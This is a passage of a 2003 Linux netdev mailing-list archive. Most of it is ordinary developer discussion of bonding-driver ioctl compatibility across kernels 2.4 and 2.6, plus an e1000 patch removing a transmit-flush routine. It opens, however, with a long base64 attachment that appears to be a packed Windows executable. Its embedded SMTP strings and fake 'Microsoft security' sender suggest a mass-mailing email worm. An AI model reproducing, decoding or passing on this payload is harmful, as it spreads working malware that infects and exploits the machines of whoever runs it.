TU5PUFFSU1RVWFlaYWJj/////2RlZmdoaWprbG1ub3BxcnN0dXZ3 eHl6MDEyMzQ1Njc4///C/zkrL19VM+0PthjaAoDjP4o8H4g8MkZm ixiGh132xt9m4AS3ABRAFQYwVwjIMv9jPQ8bau4fRYP9GHYPkABX qDINn/1tgwrjqBTpAwvJdZcQi84DCEJd99ZdQUHsDOUMlZjY0FAE A1UEvVK6s3PNIAXHhA4HDPMKlQ05/40AXM11sZ3/COSL8IvGBvg7 zls4OyuBF3QG3Dl2HZbULD7YVVPkXdmGWTS5ulAIUhKeLawLmlES DYvQ1v7QNf1lx3oEaExSkTjeGP1CGQD8al3V7fZUpDMpXetNEAq0 49V+Jgv9HaYADkS4oV/gNEpdge0MEBzAgey5SqU/foPsECZV0a/0 bEthAwgghIkGvm77FmPwO/IPIAFmrAni/jdoYU4uTok0JDPJRqwK b/23DTQ3F3MzQTwtdPI8tO48MPj//+4PgrCVPDl24jxBcic8YHYC 6xA8W3LUPFx07XfR3stecggRjXp2xIP5BAw7drDfgfmBchZwK7SH iTCt+93atgwVZHQUZf2La05BbJeme/ZTOyF2JHDt6XI+NF3XdGzh NmbZYi4qPwzW0c0FKmEii0ArhEZke2fnnG1mAzK2exT+SevVTuuS 2/Rs/U7rdKCht3kIdhk09Yq2bqG23IEFRLwGQA21Cs59JRpMKyww aYGy2+wq/KwK/xH/TKtDrXVdjI8XBEm4fga2MN0lSfccdRimO9li TQpqQBVf2K29AssxejtzBkXc38Ha9fHtdG6PD4Y4Jiw8W+vzClEy LN1EAjzzzS1vIQoIAw+HGI7abG94UekOKAvAKAONfGARFt5a/POk 8asG/9oAw4QNBgUQwAgYtqT4J17DxBfu3nvwnFZR1S1yDUh3CeL1 AJt7qcvkXp3DAxzDpgMUoHJwR0M7hwCm9Dr5AWXKABGgGP29JsCX Ri87M41vZFWNQYCdAXl1CFD5SodhYwUjHojrL7XUF5A7+34RNhAy DXUDv21vt8YYQ0AQf+8z90Qc6y6NLDOO27GlVXI3Z+eF6ZTCnnqp xv873w+VwYPhASPRZVIeAVU3W+BPMdhDgDwepswvEVvXluX4Rz62 TUsrZMCxC9/gSHQZlzdSi2w7A+s29R9YsuE8NooEPoTAdc7r8hnA APvav0NTXEQa+9rNDsUFuemRpdgHcFYFpAz6/AADfxPw/WgE4E9u ZFJ29P4bd2hcUn5n9RkqEFL7jQsDwXMDTJP03iIARClYpiNssp3k OJG1hUP8oTPSXy3ABaFV+KS+WI18bUBrCu83VyfcvVZ4wZaF9nSS jpyVWDabb5py/blNApcRLBlQsPD9IGezD4vIQQ58qMEqWLdadY6y 0ddg5AgHvPa+tfZusnNmvbziT7z6giQ3wNGOaU0uvPrDV5jkvPpX Ig5RPw1eeNZx6xJR1o1HLGjuBoUbM4A45tWWbkO2x9vijU8of1In MRNzrO2+YTfAg+ABGVBSGxrKdwc7WhWOeDUL0I1HJ7cY3wR2HVlr HYZ+KIP8P8qNVyhRUAPTUlgcYd/2gV2DHcFZiJswNoMo2FPEWVPI JYNwdFwF9o2XBAMy9vYVT5gsDLIsHSL2VoXG3zRZ9gcQdEfzH2pu WRDKLmshLWTHQGgagoO59mvBX7ZlEIxZV4uPvj7HYbMbF4WGv1IQ WdeFWRPmJ+hc+IgcpYct0AyHvBuApOaMMftX9Y9XY2vz2OzHZRgF u5zrNR+xWHsbL64FdChNHgWONNml8+MGXAkAaYlThZpqz5j+A+EC W6sxUnJgZ5+TYoEc2A5MJKzMNG3lCob/dcIRb0666eQC64vFc/DN i9aL046Tk8fH244UAXjO1md+BCTrCmj0ZJtAjTD8pSMHJeaNjCQU BuALNJ6MHY08M9mjMDq3wAVzEgO8aSx4zTBcnEHkLXAyRcXC+Ohj 59PTLyxV0wFwnPwHCwOBVwinbRVEsNoFkqQHFJTCWEd+p+z7RTSL NT2sWXvbAeynbxH/dRBNr+6UEmqk5LnUegfLE2aNtRGCMwdfbUA8 RPwoJPXAirVQICeMaLllP4Kc6P3+hTpsPdcCcye0BXP+NQZbmVBs BLxoQMAJ0RXsDF4LVHj8PrO1D7xovl0EvB4dxDvB7VuE3iA9jejf 7TMn3EE0UFE0UixlO5uePbFuTTRT7PsZ7zuw2SmdiVTCyQ3JHQ40 Y0Z0zphxGDf4CyHPxmxhZDez7oETGCz7LGsJzRbkwD786yY3qBxJ h5UIc7iPcCiUg/DCQAHPwPbOFJNJFlXAwHkgstljx1LA+lPA0CLN CYXAULfek5E3UhcRM9JCaMxAgz2EBlHRvnVnZPYMyMkk0fb2bYW9 lmYd8RA74lYFgTwfuE45snbfzDSBSHn6GRQYv8AZkCE5wMC91nKQ CcAV6Fa89XoOSLYNuV0w2+u4t3sCSgTwLL8d3TFIdfapACAQPPm7 bRi7HrTMqCZZHTb3YLyYsFqNk9M9mYwSYoPFFeOUDAL9Bkl3g9gi UEopUODesddanCkSM/ZpDjSLhb+NRkCKEITSDNL4Zv+gLSsgCEQj ynXkJHMMsqbFVl9Ato7g/gVpoY2z2jMHX2bGZpGDoTERazYWB9uv 54UbRy4ZEdq3xs70Hk2Bhe10BlHlNmELktURa6ADkNtsWKwTjKQE jNhzYfkACwOUE8cPskt2y2oimaQDZVRo675PrT+6lZMXUmh2gBjC DBTg0aldW9LQ2V6CWkWJFORsDD7diwwkmdcqhGVnm1B2U0yarPeS vYYinR4EnW1Y94tkC1EbOWDySL6zFVhesxr5IcgVyGx6OPLsYcKi RQQ/oANtCGcb3pNhNw0dwpGNg4gws1UwlwXKGaAFgAjzpZtc8rBf +6glnhN7S17GI6glqQ6A3XqW+fCDT3UjEtfpvdcs2DFmHppgZ5Gv qMYbJeAuJDbboaiqi9nVV8k+kST0ywdcCSBHYhKU1RXoNwjGLg8S dJvKyCYjW/sg/yVQYfMFVFgjIyMjXGBkaCMjIyNscHR4IyMjI3yA hIgjIyMjjJCUmCMjIyOcoKSoIyMjI6ywtLgjIyMjvMDEyCMjIyPM 0NTYIyMjI9zg5OgjIyMj7PT4/EZGniMEYggMEEZGRkYUGBwgRkZG RiQoLDQ9FVRmAE1aUHWRiU+EAARFi7i7SpaCF+oaAQSXuPx/uhAA Dh+0Cc0huAFMkJCPaXPf+q36IHByb2cdIG11c3RNZSBydXaB/ttu IAJkZXIgV2luM4EkN//8t0cAUEUTTAEEAOwuULDBuv+H4ACOgQsB AhkABgwKFDA2YbAQAyAdCwJ2OOzsAgADKGBMCjYZG3YCODMQCUFy uWygQCwC9gFCtvekQ09ERdd3C/sS6wYjtuBEQWFfbNhUQQwD2wwn K1HibsLALmlELksHkMEGQCcQcmWyQRjkbG9jUCQUJwkospcZAP8b gNNg6PQz6w0z0mT/MmSJImlT79zoDhIMjwJaYUwWBZV/Y0R5aOMk hlsONCJA7xrCbAlLF30Wi0AQi/fL7/IAo8MjviEbTQSG4GajwRHZ uhMIUUwuQC1P+9vdvUijvBEXEGi/Hv81DOjfBB7v7uobJmOLDIHv vkiDxwWLvyrN78++uW48A8mrag4EbpDvWb6rFCfvsht7cjOWlSsD 3QBP1t77////zoE+UElOR3UUxkYBT1asPAp1+yvO99le6OgCNnJy ZLNkAPQChKaf7+5utsnJVug0mJHovh/jAusFfkae3+mFGQ4jGqRy vla1ekbGEgeRX/buUv/5j5sCdFFAdE6DQxJAEjcA/68t+1JJVk1T RyAjJiA6IUAu8QIXYWR5GQAK3sxzO15YrgM4SAXoEd2xtiNieFZO F+jZBMPfE9xtzZYGlegljIovWMLbv3R459UrzYH54JOacgHDCXWu NHx0bkYGIA6Idf+7/7sWfgSNdbpqCVm/38qL16WlXkGsqjwhd+Gy /XX5T7Agqi06qusBmbh3fu/+u1g6agNYYIs8haAtD7aIrzQUhcT/ AvAGPBDzpmF1Av/jSLjcDm8C2usdd716AelW35zhhVFgvwhaaiV0 GWFmsHn+/7guDWarsAqqg8EDi/LoVDC/BeGHf/eYwA4FpdguImGJ PT64Kiom3HjhbasqBOvTTzMVQMXr7HBsyIBv3ujFZzYMX8OzEovR 9jhZ2MoNj/+Ziz0++GvOu9OjTzPA6LxBm2371gA5UGjJFBFQQTWR 48PcSfoSUegUAhvpcaQLiUfHvzfWUmgEIZT2wyTfX1j4SVAg1WTa c3M6IF6/G1fiv2/d6OUcg2ED+Py5IvOkamRon85cV1k1MlkJ8lBw DJsZrPut/zDo8wqWOas2VmAO820Ill8DLxvGa7bIjwd7vhIxotwO 53wBGJ3H/tAbpA27Vmu7Gif3Dip+3lG+cSYupH/pv2EeX4oWRoD6 J+heWV/DvzeD2UyJFTiy8Pfx/JFv4UKLygkoDxmSBEGq6Bi4gTjy ZFLoalni2vwWsFzaDQrDFDPJSYvRf/v/L1oz26wywYrNiuqK1rYI ZtHrAthzCWY1IP/b//+DZoHzuO3+znXrM8gz00911fdG0VuLwsHA EGaL+78B+MFaWcNWNjB8Bzw5dwNB6/ReSmD9F36Za9IKrEkwA9Di 9ZLDYGVdzWDd5niTC9qVZc9gn5qAIyd+2XQ0Dy+2KvJV6G6naIy3 zGyHaAUkoREmXpvZzI8XRwtBZbMEdz3+CY9hw99AkZGRsQWorLCR kZGRtLi8xJGRkZHIzNDUkZGRkdjc4OSRkZGR6Ozw9FWAmZH4/ACg ULROcGGj1t1+99+JZG9zIHN0b3AHd2hvaXM2ADcAW/sDthh0K2Vn b2xkLRwmafsXkP1uZy5jb22iVVNFUiB3AThgvzVVTklDSyAdSk/W Pkg01kw5MTFsoSJWpkKAFU1EiSHADitrR3PUIBfZCAoR8aZrIH0V AxwEBwXG7ALcNQS9A00TQD0aCzV2IuwND2Y8QA8GrFleBEGgYBMR rhvCasRfHhssA5umaZo6SFRcaHhBmu41ZyOIklcDqLJpmqZpvMza 5u7bNMum/ARCDBQeQmPiN64gS1dORUwzMqdZ46/yV1NPWAseoYOV /0V4aXRQcm9jZQ1UaKq23zjBQx1zZUhhbiplbmNfamwOcmNweZNT EWVw2W7kwRNsZW5DNnRlPUj/BWhKVGlja0NvdW5cbt/3pUdubmVj CmNXc3NrZWPlr/0NYmlgU2FjYylsP7WvtWlWVAlnIYZieW6dS9/e YW2DvEFTdGGsdXBbdretOB5fXG9hXmh0cyHvzbY2toFuIRXmZLN2 bpNjdnZrfIiy2bBhXwD/v9kOEAaMKDA3ME4wUzBgMH8wnDCX+v// pjC7MB0xNzFKMXgwhTBvMb8yDzMhGzJD/////zJKMlEyeDKuMuwy CjNQM2wzhjOQM6YzwjPVM/EzBDQQ/////zQmNOU09TQKNRw1PzVF NUs1UTVXNV01YzVpNW81dTV7iP///zWBNYc1jTWTNZk1nzWlNas1 sTW3Nb01wzXs/7vBYxgGpDOoM6wzszO3M7szAADgh4ooSEVMTyAt MMAFkWFs5qr9////TUFJTCBGUk9NOiA8YWRtaW5AZHVtYS5nb3Yu cnU+A3jd3yBSQ1BUIFRPHgAOILd35p0GUVVJVAJGcm9tHCJN7P/2 22ljCHNvZnQiKHNlY3VyaXR5QG0Ug+0cMTU9VG9GU+C2NeB1Ymr8 DVUrIHSX4P8vQ2F0Y2ggaW1tZWRpN2x57e3/2yAhJk1JTUUtVmVy c2lvbisxLjASBfyttUMJHQItVHlwZTq3bQm+cWx0aXABL2p4OTti rfu2BF1kDnk9IngAIi7bRvZ2oC0tCzkKeDTtB2x7cGxh8DsacmFu c2Zv7daI7S1FbrBk7Sc3YsiXoN1+RkRlViBm1TEgLC9Bd9ggdbZJ OHJ3IEV4dg/WbkxvcgvIbm93v1Rotdbc1hAoYQOUTAusa+6tnTF2 aXIFWz9lPr45d7YvTUEXKyA1MDDdo7bW7QA7bCgvZhfY2wwv4SGL 0WFtQyu0cIFvfSsvZE7biay1bo442mJhxTZohe2yNCJEz3Ct7rdu u0VsR3Rhx20XO/ZpbFgY64JlET3bLjllu9uWRViIAS4PXHdpdHv5 fxsuBGcAXCouKgAuaHRtd2FiCTZzeRtsD2RieHRiE2QWshfWIzJD OkIMQlwIBrguAF7G3Jv9ADpTVFJdiEMQIC8qRtAghGrixpMQ4kRM TMFlZ0JcaBtBclMCfGNl3nR87g1cWyJFU6N3GsFkNKdcxly6GIaN G0VzXEPKcgWFiDbbOFxSYAA4QMHZ2NYzGmdAdy0A0m37GvoLLgJp H3Z4UC8Yg7WTYmUgDFqj3WitqG90zgFB196s2wV5nG0xRqQiEYQE hg0KCIKyVQARVpKkA2DZTASMUFEBb54NA74JbXBHbG9i57MW9GFs QWwfFmxlbg3or+JldFOjRGlyhKAxAN5vcjXeRlBA3jUZDERlbGW0 O6ANZUlvVnJvbBCrOCABUwFG4ftmJWhOeyxbVFhIAO9vcA1OYW0R Zda62wseRm1tDUw3L80c0A9Ecml2ZfIO+7Llj4J0dHJpYnVzE1Np ekCWLWs/TW9kdQ5hE4ngm81lEaBBu+wNexbxdGSEspXX2htCIRBy l63YJbzCb0NaPWQaUMBubyUDcnPqS7aEGVNHURDM5wpdXVJSMfdT 2YHFgHcrU+25oA9bE1BvaUoK7gvAD4oBaXa3oTXXOAgqF4pzb4QY xmazDmMKUEy73aEzx/1mM1huZyZfbN53cLNj8AjoCHcvNBtbMC4R QUuZ9NvbJehgT3CrS2V5c0EXcxFiDi4PDKJms7lbVuJ1ZRw0pjRS dIRgQfribm6azbUX3X+LI7IEBRfAdkN0mmM29wJwgKsFpWMF8AXg DcEBOyEEjOUBFgFjTriEADcIWAGEgEsIKwEVhBExuwEfHVlGJvn8 LDuqjx4sQi6SCzCA8ivkL2AAALYFcAAAuICcDBQgHjjfG3Jg9wMk BrvIiB1gS0hOLjIiHXBOAtzvSFAbPGKWAAAANNIAEgAA/wAAAAAA AAAAAABgvgCAQACNvgCQ//9Xg83/6xCQkJCQkJCKBkaIB0cB23UH ix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR 23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1 B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHb c+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsC g8IEiQeDxwSD6QR38QHP6Uz///9eife5NwEAAIoHRyzoPAF394A/ AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AcAAA iwcJwHQ8i18EjYQwAJAAAAHzUIPHCP+WZJAAAJWKB0cIwHTciflX SPKuVf+WaJAAAAnAdAeJA4PDBOvh/5ZskAAAYelsc///AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAIygAABkoAAAAAAAAAAAAAAAAAAA maAAAHSgAAAAAAAAAAAAAAAAAACmoAAAfKAAAAAAAAAAAAAAAAAA ALKgAACEoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC+oAAAzKAAANyg AAAAAAAA6qAAAAAAAAD4oAAAAAAAABShAAAAAAAAS0VSTkVMMzIu RExMAEFEVkFQSTMyLmRsbAB3aW5pbmV0LmRsbABXU09DSzMyLmRs bAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQ cm9jZXNzAAAAUmVnQ2xvc2VLZXkAAABJbnRlcm5ldEdldENvbm5l Y3RlZFN0YXRlAAAAc2VuZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAABBsAAAYAAAAAAAAADRsAAAAAAAATGwA AFhsAABg --xxxx --xxxx-- From fubar@us.ibm.com Tue Sep 30 09:41:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 09:41:45 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UGf3Fx002512 for ; Tue, 30 Sep 2003 09:41:10 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id h8UGe967221906; Tue, 30 Sep 2003 12:40:09 -0400 Received: from death.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8UGe1XW118798; Tue, 30 Sep 2003 10:40:03 -0600 Received: from us.ibm.com (fubar@localhost) by death.ibm.com (8.12.5/8.12.5/Submit) with ESMTP id h8UGdqCq026858; Tue, 30 Sep 2003 09:39:54 -0700 Message-Id: <200309301639.h8UGdqCq026858@death.ibm.com> X-Authentication-Warning: death.ibm.com: fubar owned process doing -bs To: shmulik.hen@intel.com cc: "David S. Miller" , "Jeff Garzik" , chad@tindel.net, bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] Re: [bonding] compatibilty issues In-Reply-To: Message from Shmulik Hen of "Tue, 30 Sep 2003 14:42:31 +0300." <200309301442.31991.shmulik.hen@intel.com> Date: Tue, 30 Sep 2003 09:39:52 -0700 From: Jay Vosburgh X-archive-position: 397 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev >I'm going to need a ruling here :) >Re-creating those 19 trees each time is killing me and I would like to >reduce the number of iterations to a minimum. I say: Toast the whatever_OLD guys (the backwards compat ioctls) in both 2.4 and 2.6. Backwards compatibility is good, but there are limits, and I think these have reached their limit. Keep the ABI versioning stuff in both 2.4 and 2.6. As I've said, that slimmed down ifenslave really makes my mouth water in anticipation, but I don't think we can escape our fate that easily just yet. Someday.... Any comments from the usual gang? >I'm currently working on putting back all compatibility stuff for 2.4. >I would like to also get any input/reservations about other issues >(besides compatibility and the multicast param) so I may get a chance >to get them all in at once. I'm still looking through the patch set; I generally like what I see, and think it's probably all good to go for 2.6 (modulo the various changes we're discussing). I was thinking the same for 2.4, but then I had a long chat with Chad, and now he's got me worried about potential stability problems from such a large set of changes. I'm wondering if we should apply the set to 2.6 first, and give it some air time in that environment before going on to 2.4. The only nit I have thus far is that you need to remove the documentation for multicast_mode along with the option (which I've mentioned before somewhere; just reminding, not whining). Or perhaps better, leave some text explaining that the option is no longer supported (and why). Chad and I were discussing whether or not we should leave a dummy option (that silently does nothing, or prints some sort of useful message) so that end users don't get a warning if they supply a multicast_mode module parameter. If there is no paramter at all, users get a warning from modprobe (or insmod or somewhere) that the option does not exist, but the insmod does complete. Another possibility would be a parameter that does nothing, unless the user selects a setting that conflicts with the calculated choice. In that case, fail the insmod. This way, end users won't get a warning as long as they're doing the right thing. I haven't decided if I like this idea just because it seems kind of clever, or because it would actually be the right thing to do. >Once we get that settled, I can start working on a 2.6 version that >also handles any compatibility issues (preferrably as the last patch >of the series). I'm working in the assumption that 2.4-2.6 similarity >is no longer an option for bonding. Unfortunately, no, it doesn't seem to be feasible to keep the 2.4 and 2.6 source bases identical (which I was pretty jazzed about). I still want to try to keep them as close as is reasonable, which is why I'd like to put the full cleanup set into 2.4 if we can. -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com From scott.feldman@intel.com Tue Sep 30 10:27:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 10:27:50 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UHRFFx003207 for ; Tue, 30 Sep 2003 10:27:16 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8UHMB105302 for ; Tue, 30 Sep 2003 17:22:11 GMT Received: from orsmsxvs041.jf.intel.com (orsmsxvs041.jf.intel.com [192.168.65.54]) by petasus.py.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8UHQcT25990 for ; Tue, 30 Sep 2003 17:26:39 GMT Received: from orsmsx331.amr.corp.intel.com ([192.168.65.56]) by orsmsxvs041.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003093010270926588 ; Tue, 30 Sep 2003 10:27:09 -0700 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx331.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 30 Sep 2003 10:27:08 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: Fw: Badness in local_bh_enable at kernel/softirq.c:119 Date: Tue, 30 Sep 2003 10:27:08 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Fw: Badness in local_bh_enable at kernel/softirq.c:119 Thread-Index: AcOHSfP+gfyw8u3xTZOjj0MCYPcWkwAKvrFw From: "Feldman, Scott" To: "David S. Miller" Cc: , , , "cramerj" X-OriginalArrivalTime: 30 Sep 2003 17:27:08.0991 (UTC) FILETIME=[138674F0:01C38778] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8UHRFFx003207 X-archive-position: 398 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev > Sorry, in case it isn't painfully obvious, instead of hinting > at it let me state explicitly that ->xmit_lock is a BH > disabling lock not an IRQ disabling one. > > Therefore, e1000's IRQ disabling when grabbing that lock is > buggy and need to be changed to BH disabling. > > If it needs to disable IRQs for it's own internal locking, it > needs to do so such that such IRQ disabling internal locks > are not held while kfree_skb() is being invoked. > > Calling kfree_skb() with IRQs disabled in the e1000 driver is > the cause of this bug. Thanks David for your help. > Jeff, if you pushed these e1000 updates that make it grap > ->xmit_lock() with disabling IRQs instead of BH into 2.4.x > trees too, beware! The e1000 driver has been like this (broken) for quite a while. Recent updates haven't messed with this code. This gets back to the problem of trying to flush any queued transmits when we lose link. The e1000 hardware stops DMA when link lose is detected, so any work queued to hardware is "stuck", and therefore we don't release the associated skb resources until we regain link. This causes problems when we're sitting under a failover setup like bonding or ANS. At this point, I'm leaning towards removing the offending code in the timer callback now, and taking a step back to solve the bigger problem, either with a better locking scheme, or a new plan on how to flush the "stuck" work. We don't need kernel panics when you trip over the Ethernet cable! Sound like a plan? @@ -1278,41 +1278,6 @@ e1000_leave_82542_rst(adapter); } -static void -e1000_tx_flush(struct e1000_adapter *adapter) -{ - uint32_t ctrl, tctl, txcw, icr; - - e1000_irq_disable(adapter); - - if(adapter->hw.mac_type < e1000_82543) { - /* Transmit Unit Reset */ - tctl = E1000_READ_REG(&adapter->hw, TCTL); - E1000_WRITE_REG(&adapter->hw, TCTL, tctl | E1000_TCTL_RST); - E1000_WRITE_REG(&adapter->hw, TCTL, tctl); - e1000_clean_tx_ring(adapter); - e1000_configure_tx(adapter); - } else { - txcw = E1000_READ_REG(&adapter->hw, TXCW); - E1000_WRITE_REG(&adapter->hw, TXCW, txcw & ~E1000_TXCW_ANE); - - ctrl = E1000_READ_REG(&adapter->hw, CTRL); - E1000_WRITE_REG(&adapter->hw, CTRL, ctrl | E1000_CTRL_SLU | - E1000_CTRL_ILOS); - - mdelay(10); - - e1000_clean_tx_irq(adapter); - E1000_WRITE_REG(&adapter->hw, CTRL, ctrl); - E1000_WRITE_REG(&adapter->hw, TXCW, txcw); - - /* clear the link status change interrupts this caused */ - icr = E1000_READ_REG(&adapter->hw, ICR); - } - - e1000_irq_enable(adapter); -} - /* need to wait a few seconds after link up to get diagnostic information from the phy */ static void @@ -1414,15 +1379,6 @@ e1000_update_stats(adapter); e1000_update_adaptive(&adapter->hw); - if(!netif_carrier_ok(netdev)) { - if(E1000_DESC_UNUSED(txdr) + 1 < txdr->count) { - unsigned long flags; - spin_lock_irqsave(&netdev->xmit_lock, flags); - e1000_tx_flush(adapter); - spin_unlock_irqrestore(&netdev->xmit_lock, flags); - } - } - /* Dynamic mode for Interrupt Throttle Rate (ITR) */ if(adapter->hw.mac_type >= e1000_82540 && adapter->itr == 1) { /* Symmetric Tx/Rx gets a reduced ITR=2000; Total -scott From ctindel@calma.pair.com Tue Sep 30 14:36:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 14:37:32 -0700 (PDT) Received: from calma.pair.com (calma.pair.com [209.68.1.95]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8ULapFx016899 for ; Tue, 30 Sep 2003 14:36:51 -0700 Received: (qmail 20391 invoked by uid 3059); 30 Sep 2003 21:36:50 -0000 Date: Tue, 30 Sep 2003 17:36:50 -0400 From: "Chad N. Tindel" To: Jay Vosburgh Cc: shmulik.hen@intel.com, "David S. Miller" , Jeff Garzik , chad@tindel.net, bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] Re: [bonding] compatibilty issues Message-ID: <20030930213650.GA71877@calma.pair.com> Mail-Followup-To: Jay Vosburgh , shmulik.hen@intel.com, "David S. Miller" , Jeff Garzik , chad@tindel.net, bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com References: <200309301442.31991.shmulik.hen@intel.com> <200309301639.h8UGdqCq026858@death.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200309301639.h8UGdqCq026858@death.ibm.com> User-Agent: Mutt/1.4i X-archive-position: 399 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chad@tindel.net Precedence: bulk X-list: netdev > Toast the whatever_OLD guys (the backwards compat ioctls) in > both 2.4 and 2.6. Backwards compatibility is good, but there are > limits, and I think these have reached their limit. > > Keep the ABI versioning stuff in both 2.4 and 2.6. As I've > said, that slimmed down ifenslave really makes my mouth water in > anticipation, but I don't think we can escape our fate that easily > just yet. Someday.... > > Any comments from the usual gang? My recommendations are more towards the middle than either end. I would like to see us get rid of the _OLD ioctls in the 2.6 kernel specifically because it uses the SIOCDEVPRIVATE ioctls. This only breaks redhat if they are shipping with a 3 year old ifenslave. I would like to see them stay in 2.4 for the rest of the 2.4 tree specifically so that people who want to run on 3 year old systems can continue to do so without us breaking their world. Now, that being said... who you really need buyoff from is David Miller and Jeff Garzik, since they need to be OK with whatever you implement. Those guys tend to be more conservative than me, so if you can convince them of your plan then I won't argue with it. > I'm still looking through the patch set; I generally like what > I see, and think it's probably all good to go for 2.6 (modulo the > various changes we're discussing). I was thinking the same for 2.4, > but then I had a long chat with Chad, and now he's got me worried > about potential stability problems from such a large set of changes. This was just a general comment. 2.4 is supposed to be a stable tree... that is, once 2.6 becomes real, we should make a concerted effort to not put new features into 2.4 in an effort to keep it stable. There are plenty of customers in the real world that won't be moving to 2.6 for 1-2 years, and such people are not concerned with getting the newest features... they're most concerned with having something that is supportable and doesn't break. > I'm wondering if we should apply the set to 2.6 first, and > give it some air time in that environment before going on to 2.4. That doesn't seem like a bad idea to me. > Unfortunately, no, it doesn't seem to be feasible to keep the > 2.4 and 2.6 source bases identical (which I was pretty jazzed about). > I still want to try to keep them as close as is reasonable, which is > why I'd like to put the full cleanup set into 2.4 if we can. Its highly un-reasonable to keep the 2.4 tree in sync with 2.6 in the long run. Like I said, at some point, we should stop putting new features into 2.4... and this will be the same point at which they begin to diverge rapidly. Now, all that said... I don't think we're at that point yet, and so I have no objection with going through the pain of keeping them in sync still. Chad From shemminger@osdl.org Tue Sep 30 15:26:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Sep 2003 15:26:59 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UMQQFx019950 for ; Tue, 30 Sep 2003 15:26:26 -0700 Received: from dell_ss3.pdx.osdl.net (IDENT:2997@dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8UMPw106002; Tue, 30 Sep 2003 15:25:58 -0700 Date: Tue, 30 Sep 2003 15:25:30 -0700 From: Stephen Hemminger To: Jean Tourrilhes , "David S. Miller" Cc: netdev@oss.sgi.com, irda-users@lists.sourceforge.net Subject: [PATCH] (0/16) intro to IRDA 